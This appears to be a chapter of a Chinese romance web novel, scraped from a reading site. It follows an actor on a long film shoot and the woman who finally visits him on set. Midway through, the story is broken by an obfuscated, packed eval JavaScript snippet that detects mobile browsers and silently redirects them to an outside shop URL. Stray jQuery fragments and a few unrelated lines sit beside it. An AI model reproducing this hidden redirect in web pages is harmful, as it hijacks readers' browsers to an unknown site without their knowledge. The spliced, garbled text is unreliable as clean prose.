新电影是一部古装戏,拍摄时间比较长,这已经是张旬进组的第二个月,预计还要再拍三个月。
张旬和导演还有部分演员都合作过,在大家看来,不论过去一年发生了多少事情,张旬和往常无异,他一般不会在片场玩手机,带着背熟的剧本准时上工,不喜欢迟到的人。
张旬也的确一如既往地工作,没有人知道他每天晚上回到酒店房间的时候,会在黑暗里静坐半个小时。
刚到剧组那几天,他没想好怎么联系蒋冬霓,打电话还是发消息,又该说什么,紧接着几天都是凌晨才收工,即使蒋冬霓可能还没睡,但显然不是时候。等忙完那段时间,发现蒋冬霓没有任何主动的只言片语,张旬躁动的心思渐渐定下。
这种情况出现了很多次,每一次破局的原因都是他去找她,这一次想来也不会例外。
他并不委屈、也不愤怒,但难免感到挫败。
蒋冬霓像一湖水,他站在岸边往里头扔石子,或许泛起过涟漪,但最后都石沉湖底。
有时候张旬也觉得自己挺像一只在外头叼了骨头就想往家跑的狗,但其实他不是家犬,而是野狗,以为蒋冬霓的家是他的家。
明明蒋冬霓并没有圈养训练他,恨不得拿棍子赶他,明明一开始他想当那个牵绳子的主人,现在是他把绳子递给蒋冬霓,但她不要,他还笨拙地学习如何当一只宠物。
觉短梦少,这几个月午夜梦回,却时常会梦到那天冬日午时的吻,梦里都带着铁锈的气味。
他顺势去吻她的手心,她吓得把手收回,一脸不可置信,他一笑,改而抱住她,在那个小小的房间里,时间似乎都流逝得慢了一些,直到蒋冬霓问他到底是几点的飞机,他才起了身。
他还记得他对她说,他明天就要进组开始拍戏了,但现在破相了,而她白了他一眼:“你就说你被狗咬了吧。”
他嘴唇上的伤口引起全员的注目,他只是笑笑。化了妆能够被掩盖的咬痕没几天就好了,至于组里开始流传他的八卦,在接连几个月的拍摄中不见可疑人探班、不见手机片刻不离身后,有没有女友众说纷坛,这些流言蜚语从来不是张旬在乎的,而导演私下问他,张旬发现自己也不知道蒋冬霓是不是他的女朋友。
只要拍摄结束、脱离片场环境,关于蒋冬霓的一切就跑进了他的脑海里,这是过去没有过的,张旬反应良好地接受了这一变化,所以他独自回到酒店后,需要一点冷静的时间。他会想她今天几点起的床、是不是又熬夜了、吃了什么、干了什么,有没有和朋友出去玩,有没有像他一样想她。
以他的了解,大概是没有,他非她生活的必需品。
其实她也不是他的。
到了第三个月,张旬还是没有和蒋冬霓取得任何联系。
他在她的世界里就这么消失得一干二净。
蒋冬霓岁月静好的生活再一次被打乱还是因为张旬,不仅仅是因为他突然半夜突然关注了她的微博,还因为他又通过刘昌豪彰显了一番存在感。
刘昌豪一开始给她打的电话蒋冬霓没有接到,然后他就给她发了一条消息,内容极度夸张:蒋小姐,有很重要的事情想要和你商量,看到短信麻烦请立刻回我电话,万分感谢。
蒋冬霓再信这种话,她真的可以倒过来用手走路算了。
所以她第一时间没有理,过了几个小时后,才回复:怎么了?
刘昌豪很快再次打来电话。
那时距离蒋冬霓上一次见张旬已经过去差不多四个月了,春天的花谢了,又是阳光炙热的夏天。
电话那头,刘昌豪先是问蒋冬霓有没有兴趣来C市玩,机酒他出。
蒋冬霓:“啊?”
刘昌豪才说,“如果可以的话呢,张旬还在C市拍戏,你可以去看看他的话,他一定很高兴。”
蒋冬霓:“……”
刘昌豪依然不清楚自家艺人和蒋小姐之间发生了什么,只知道春节那阵张旬结束了一个拍摄工作,本来难得可以休息一天再进组,硬是回家了一趟。
他猜他可能是去找蒋冬霓,又觉得不太可能。
张旬进组那天他没一起去,结果微信炸了,一众人向他打听消息,才最后一个知道这小子嘴角被咬了一口。
他找到张旬,“注意点形象啊。”
没想到后来还真没听说有哪个女人来找过他,一切过分的规矩顺利,结果前两天去探班,也许是处于认识合作了好几年的基础,刘昌豪一眼看出张旬的状态好像不太好。
暂时还没有影响到工作,其他人也看不出来,制片和导演还说了一堆好话,但回到房间里的张旬异常沉默,整个人很压抑,透着一股颓然,好像把自己关进了一个无声世界里,刘昌豪不知道那个世界里有什么。
但同时他又有些似曾相识的熟悉,刘昌豪后来才想起来,是那次他被一通电话叫过去,老旧的住宅楼里,张旬和一堆行李被弃置于门前。
电话这头蒋冬霓自然不可能同意。
她跑过去干嘛?又不赚钱,就算赚钱,这钱她能赚吗?
她打定了主意是不去的,她也不可能去。
但当毕彭准备去C市旅游且要拉上她的时候,蒋冬霓不禁怀疑命运的偶然性在于硬凑和捉弄。
“你……”蒋冬霓欲言又止。
“什么?”毕彭一脸茫然。
“……没什么。”蒋冬霓心道她不应该如此草木皆兵,“我不想去。”
毕彭根本不在意:“去嘛,你在家里闲着也是闲着,你不是说你灵感枯竭了吗?费用我包好吧?”
蒋冬霓:“……”
“哎呀,你看我们两个好久没有一起旅游过了。”
“换个城市呗。”蒋冬霓假装漫不经心地提议,“C市有什么好玩的。”
“哪有!”毕彭说她可是做了攻略的,C市风景漂亮、好吃的也多,“哪里不好玩了?”
等真的坐上飞往C市的飞机,身体被失重感包裹,看着越来越远的城市地面,蒋冬霓有跳机的冲动。
落地后,蒋冬霓想的第一件事情是她能不能找刘昌豪报销,给虽然不差钱的毕彭省点钱,不过只是想想而已。
她们在C市玩了五天,每天暴走一万步,最后一天晚上,两个人瘫在酒店玩手机。
毕彭忽然对她说:“诶,张旬新电影是在这里拍的啊。”
蒋冬霓想到该收拾行李了,起身下床。
“怪不得你不想来啊,”毕彭恍然大悟,“你早说嘛。”
站着说话不腰疼。
“不过他在影视城里拍戏,我们又不去影视城,你怕什么,又碰不上。”
“我哪里有怕。”蒋冬霓嘴硬道。
毕彭微笑着看了蒋冬霓一会,良久,“宝贝,要不去探个班呗,老是被人找上门,这次换你去找他,礼尚往来。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14194942|150776||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“你行李还没收拾。”蒋冬霓提醒她。
毕彭耸耸肩。
第二天下午出租车抵达影视城,蒋冬霓磨磨蹭蹭地下了车。
蓝天白云之下,她也不知道自己怎么就一步步走到了这,花高价手续费改签飞机,邮寄了行李箱,只带一个方便的随身行李包,毕彭对她说:“你自己‘好自为之’吧。”
“还是”到底是一个包含什么样情感色彩的词语呢?
TA很努力,但还是输了。
虽然TA实力有限,还是展现出了亮眼的一面。
一枚硬币有两面,一个骰子有六面,一个人、一件事,究竟又要综合多少角度去看待。
蒋冬霓头一次来这种影视基地,有点忐忑,不过一路上碰上不少粉丝,显得她没有那么突兀,硬要说的话,脖子上少一个相机。
张旬剧组秘密拍摄,如果不是有特别的本事是看不到人的,那时她说她不来,刘昌豪跟没听见似的跟她来的话要提前和他说一声。
蒋冬霓没说,于是一个人绕着影视城逛了一圈,好在是个多云的天气。
四点多钟她找了家家常菜馆吃饭,未到饭点,店里只有她一桌客人,蒋冬霓差不多吃完饭之后,把张旬从她的微信黑名单中放了出来,又过了一会,发了定位给他。
她坐在靠窗的位置,变得厚重灰暗的云层深处远远传来雷声,是夏日午后雷阵雨的预兆。
饭店老板见她坐久了,好心地提醒她:“姑娘,马上就要下雨了,你带伞了吗?没带的话我这给你一把。”
蒋冬霓道了谢,“没事,谢谢老板,我叫了人来接我。”
“哦,那就好,不过得快点来了,不然等会雨就下大了。”
还真被老板说中了,在黄豆大的雨珠密密麻麻打湿温热的水泥地面时,张旬姗姗来迟。
他站在门外,收起透明的长柄雨伞,身后的建筑轮廓模糊,飞舞的雨水在金黄色的黄昏余晖中闪闪发光。一场太阳雨,像给这个橘子蛋糕似的瞬间撒上了漂亮的白色糖霜。
蒋冬霓起身,前台老板随口问道:“接你的人来啦?”
蒋冬霓看着张旬,“嗯,来了。”
“那再见哈,欢迎下次再来啊。”
蒋冬霓回头朝老板微微一笑致意,“好的。”
她向张旬走去,张旬毫无生疏感、温柔自然地问她:“吃了什么?”
蒋冬霓说:“面。”
“好吃吗?”
“挺好吃的。”蒋冬霓说,“你吃过这家吗?”
“没有,我下回试试。”张旬说,又问,“你吃的是什么面?”
蒋冬霓仔细看了看他:“怎么,你打算复刻一碗?”
张旬笑了笑,不置可否,他眼底的笑意愈来愈盛,屋檐之下雨声渐大,他贴近她:“去我那?”
“你知道我会来?”蒋冬霓斜他一眼。
“不知道。”
“你经纪人让我来的。”
“嗯。”
“上次医院,也是他让我来看看你的。”
“但你还是来了,不是吗?”
蒋冬霓:“……他说你状态不太好,但我现在看你挺好。”
张旬带了帽子和口罩给她全副武装上,望着她,微凉的指背若有似无地轻蹭她的脸颊,然后手指顺势插入她剪短了的齐肩黑发,慢慢梳开直至松开发梢,“你来了就好了。”